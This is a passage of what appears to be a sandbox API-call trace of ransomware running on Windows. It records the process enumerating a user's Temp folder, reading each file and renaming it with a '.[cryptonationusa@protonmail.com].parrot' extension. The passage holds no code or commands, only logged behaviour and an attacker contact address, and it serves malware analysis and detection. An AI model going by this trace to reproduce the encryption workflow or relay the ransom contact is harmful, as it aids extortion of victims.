ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VB18B0KB", cAlternateFileName="")) returned 1 [0088.961] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XT1RPYG9", cAlternateFileName="")) returned 1 [0088.961] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XT1RPYG9", cAlternateFileName="")) returned 0 [0088.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aae28 | out: hHeap=0x5b0000) returned 1 [0088.961] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0088.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aacb8 | out: hHeap=0x5b0000) returned 1 [0088.962] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 0 [0088.963] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0088.963] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd978bc80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.964] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1 [0088.964] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 0 [0088.964] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317c0e0 | out: hHeap=0x5b0000) returned 1 [0088.964] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0088.964] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317bf90 | out: hHeap=0x5b0000) returned 1 [0088.964] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2003aa20, ftCreationTime.dwHighDateTime=0x1d5c052, ftLastAccessTime.dwLowDateTime=0xa2704630, ftLastAccessTime.dwHighDateTime=0x1d5c2af, ftLastWriteTime.dwLowDateTime=0xa2704630, ftLastWriteTime.dwHighDateTime=0x1d5c2af, nFileSizeHigh=0x0, nFileSizeLow=0x12283, dwReserved0=0x0, dwReserved1=0x0, cFileName="TxphpMd4.gif", cAlternateFileName="")) returned 1 [0088.964] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.964] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.965] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.965] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x12283, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x12283, lpOverlapped=0x0) returned 1 [0088.969] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.971] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TxphpMd4.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\txphpmd4.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TxphpMd4.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\txphpmd4.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.973] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8500 | out: hHeap=0x5b0000) returned 1 [0088.973] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0088.973] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f70 | out: hHeap=0x5b0000) returned 1 [0088.976] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.977] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.977] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.977] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x174a8, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x174a8, lpOverlapped=0x0) returned 1 [0088.981] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.985] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UYIxTkHloZ5_oTCvZH.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\uyixtkhloz5_otcvzh.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UYIxTkHloZ5_oTCvZH.swf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\uyixtkhloz5_otcvzh.swf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.987] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317fee8 | out: hHeap=0x5b0000) returned 1 [0088.987] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0088.987] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f70 | out: hHeap=0x5b0000) returned 1 [0088.992] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.992] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.993] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.993] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1693f, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x1693f, lpOverlapped=0x0) returned 1 [0088.996] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.000] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\v5ZDVRIg4oJu_1-3.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\v5zdvrig4oju_1-3.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\v5ZDVRIg4oJu_1-3.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\v5zdvrig4oju_1-3.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0089.002] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317fee8 | out: hHeap=0x5b0000) returned 1 [0089.002] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0089.002] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f70 | out: hHeap=0x5b0000) returned 1 [0089.007] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.007] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0089.008] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.008] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x64b1, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x64b1, lpOverlapped=0x0) returned 1 [0089.009] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.010] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\waIROfe.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\wairofe.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\waIROfe.ots.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\wairofe.ots.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0089.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8500 | out: hHeap=0x5b0000) returned 1 [0089.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0089.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3162050 | out: hHeap=0x5b0000) returned 1 [0089.013] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WPDNSE\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.013] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.013] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x57f4d770, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x57f4d770, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.014] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.014] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.014] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x57f4d770, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x57f4d770, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.014] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WPDNSE\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.014] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x57f4d770, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x57f4d770, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.014] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x57f4d770, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x57f4d770, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0089.014] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0089.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0089.015] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa8ec110, ftCreationTime.dwHighDateTime=0x1d5b87e, ftLastAccessTime.dwLowDateTime=0xa1007b40, ftLastAccessTime.dwHighDateTime=0x1d5c23b, ftLastWriteTime.dwLowDateTime=0xa1007b40, ftLastWriteTime.dwHighDateTime=0x1d5c23b, nFileSizeHigh=0x0, nFileSizeLow=0x677a, dwReserved0=0x0, dwReserved1=0x0, cFileName="X0AMTy8nYrMDZO.gif", cAlternateFileName="X0AMTY~1.GIF")) returned 1 [0089.015] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.015] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0089.016] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.016] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x677a, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x677a, lpOverlapped=0x0) returned 1 [0089.016] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.017] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\X0AMTy8nYrMDZO.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\x0amty8nyrmdzo.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\X0AMTy8nYrMDZO.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\x0amty8nyrmdzo.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0089.018] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317fee8 | out: hHeap=0x5b0000) returned 1 [0089.018] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0089.020] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.020] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0089.021] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.021] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x136a0, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x136a0, lpOverlapped=0x0) returned 1 [0089.024] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.025] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\x4Y4bD16Bb72 pL4f_Uu.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\x4y4bd16bb72 pl4f_uu.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\x4Y4bD16Bb72 pL4f_Uu.m4a.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\x4y4bd16bb72 pl4f_uu.m4a.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0089.031] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.031] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0089.031] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.032] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2747, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x2747, lpOverlapped=0x0) returned 1 [0089.032] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.033] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\X5AL0H9RPgwTWwSMpU.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\x5al0h9rpgwtwwsmpu.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\X5AL0H9RPgwTWwSMpU.flv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\x5al0h9rpgwtwwsmpu.flv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0089.035] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.036] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0089.036] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.036] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5516, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x5516, lpOverlapped=0x0) returned 1 [0089.037] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.037] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\YQE4d.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yqe4d.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\YQE4d.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yqe4d.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0089.040] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.040] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0089.041] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.041] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8cf6, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x8cf6, lpOverlapped=0x0) returned 1 [0089.043] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.043] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\ZS8kD7SVNnj e5c.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\zs8kd7svnnj e5c.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\ZS8kD7SVNnj e5c.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\zs8kd7svnnj e5c.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0089.094] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0089.094] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc2629ea0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc2629ea0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.094] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf9f9ab60, ftCreationTime.dwHighDateTime=0x1d5c365, ftLastAccessTime.dwLowDateTime=0x32d84cf0, ftLastAccessTime.dwHighDateTime=0x1d5bba2, ftLastWriteTime.dwLowDateTime=0xc20ced20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x178e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="-1r_m1dalClp86DO T.wav.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="-1R_M1~1.PAR")) returned 1 [0089.095] 